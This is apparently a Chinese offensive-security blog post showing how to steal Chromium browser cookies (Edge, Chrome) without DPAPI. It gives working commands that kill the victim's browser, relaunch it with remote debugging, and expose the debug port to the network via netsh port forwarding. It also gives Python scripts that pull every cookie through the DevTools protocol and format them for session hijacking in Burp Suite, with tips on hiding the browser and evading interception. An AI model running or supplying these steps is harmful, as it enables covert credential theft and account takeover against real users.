前言
本文將介紹不依靠DPAPI的方式獲取Chromium內核瀏覽器Cookie
遠程調試
首先我們以edge為例。edge瀏覽器是基于Chromium的,而Chromium是可以開啟遠程調試的,開啟遠程調試的官方文檔如下:
https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.html
chrome.exe --remote-debugging-port=9222 --user-data-dir=remote-profile

那么開啟遠程調試以后可以做什么呢,繼續看官方文檔:
https://chromedevtools.github.io/devtools-protocol/tot/Storage/
上述官方文檔是Chrome開發者工具協議文檔,里面提到如果需要實施調試、分析Chrome需要開啟其遠程調試:

并且告知開啟后還提供了json等接口和各種API的使用:


既然edge是基于Chromium的,那么edge應該也是可以開啟遠程調試的。嘗試使用Chrome開啟遠程調試的命令開啟edge的遠程調試:
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222
經測試是可以的,但是前提是必須沒有msedge進程在啟動著,否則上述命令雖然會啟動edge進程,但是并不會開啟遠程調試端口。停止命令:
Get-Process msedge | Stop-Process

獲取Cookie
首先看Chrome開發者工具協議能否獲取瀏覽器密碼啥的,文檔沒有:

也是,大家平常F12調出開發者工具,也是沒有獲取瀏覽器密碼方式的。

繼續搜下Cookie,可以看到有個Network.getAllCookies,但是文檔中提到已經棄用了,改用了Storage.getCookies:

那嘗試使用Storage.getCookies是否可以獲取Cookie呢。開啟遠程調試后,獲取websocket地址:

然后嘗試使用python的websocket-client模塊發送接收數據時,發現提示403:

根據提示看起來是CORS的問題,且給出了解決方案:
--remote-allow-origins=*
添加以后發送如下數據包就可以成功獲取Cookie:
{"id": 1, "method": "Storage.getCookies"}

為了方便遠程訪問其websocket接口,可以把遠程調試端口映射出來:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
這樣就可以遠程訪問目標的遠程調試端口:


編寫代碼
Github有個自動開啟遠程調試端口和獲取Cookie的倉庫:
https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py
其中代碼有幾個問題,其一沒解決CORS的問題,其二使用了可能棄用的Network.getAllCookies,其三開啟遠程調試端口可以不用依賴python,可以使用cmd命令,最終修改的代碼如下:
import json
import requests
import websocket
GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Storage.getCookies"})
def hit_that_secret_json_path_like_its_1997():
response = requests.get("http://10.211.55.8:48333/json")
websocket_url = response.json()[0].get("webSocketDebuggerUrl")
return websocket_url
def gimme_those_cookies(ws_url):
ws = websocket.create_connection(ws_url)
ws.send(GET_ALL_COOKIES_REQUEST)
result = ws.recv()
ws.close()
response = json.loads(result)
cookies = response["result"]["cookies"]
return cookies
ws_url = hit_that_secret_json_path_like_its_1997()
print(ws_url)
cookies = gimme_those_cookies(ws_url)
print(cookies)
這樣就可以達到在目標機器上開啟遠程調試端口并獲取Cookie。為了防止開啟的瀏覽器被用戶發現,可以使用無頭參數-headless,但是存在一個缺點,后面再講。且為了防止/json接口返回空的情況,建議讓瀏覽器啟動時打開一個網站,因此最終完整命令如下:
# 關閉edge Get-Process msedge | Stop-Process # 啟動遠程調試 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* -headless # 把遠程調試端口映射出來 netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222 # 訪問json接口獲取websocket地址并獲取Cookie # 關閉端口映射 netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333
實操
使用上述命令啟動edge:

獲取Cookie,發現只能獲取到www.baidu.com的Cookie:

這就是上面提到的,使用無頭參數-headless存在的一個缺點,只能獲取到打開的網站的Cookie。因此如果想要獲取指定目標網站的Cookie,要么重復上面的動作,要么取消無頭參數-headless。筆者建議取消-headless參數,打開的瀏覽器用戶也能正常使用,因此建議使用的命令如下:
# 關閉edge Get-Process msedge | Stop-Process # 啟動遠程調試 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* # 把遠程調試端口映射出來 netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222 # 訪問json接口獲取websocket地址并獲取Cookie # 關閉端口映射 netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333

獲取到上述數據以后,如何使用呢,筆者提供如下代碼,來完成滿足Cookie格式要求的拼接:
def to_cookie_dict(data):
if 'www.chinabaiker.com' in data['domain']:
cookie_dict = {data['name']: data['value'], 'Domain': data['domain'], 'Path': data['path'], 'Expires': data['expires']}
print(cookie_dict)
return cookie_dict
data_list = [{}]
cookie_dict_list = [to_cookie_dict(data) for data in data_list]
# 遍歷多個cookie字典,將每個字典中的key和value格式化為key=value的字符串
cookie_str_list = []
for cookie_dict in cookie_dict_list:
try:
for k, v in cookie_dict.items():
cookie_str_list.append('{}={}'.format(k, v))
except Exception as e:
print(e)
pass
# 使用;將多個key=value字符串連接在一起
cookie_str = ';'.join(cookie_str_list)
print(cookie_str)
因為獲取到的Cookie比較多,在代碼最開始做了個簡單的過濾:
if 'www.chinabaiker.com' in data['domain']:
最終實現的效果如下:首先網站是非登錄狀態:

執行上述代碼,獲取Cookie:

然后放到burpsuite自動替換,筆者的替換規則如下:

最終成功完成Cookie的替換登錄目標系統:

Chrome瀏覽器同理,就不花篇幅講了:
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=*

總結
本文介紹了不依靠DPAPI的方式獲取Chromium內核瀏覽器Cookie,可以盡可能的減少被攔截的情況下去獲取瀏覽器Cookie。
一顆小胡椒
嘶吼專業版
一顆小胡椒
安全內參
一顆小胡椒
FreeBuf
HACK之道
一顆小胡椒
LemonSec
看雪學苑
ManageEngine卓豪
007bug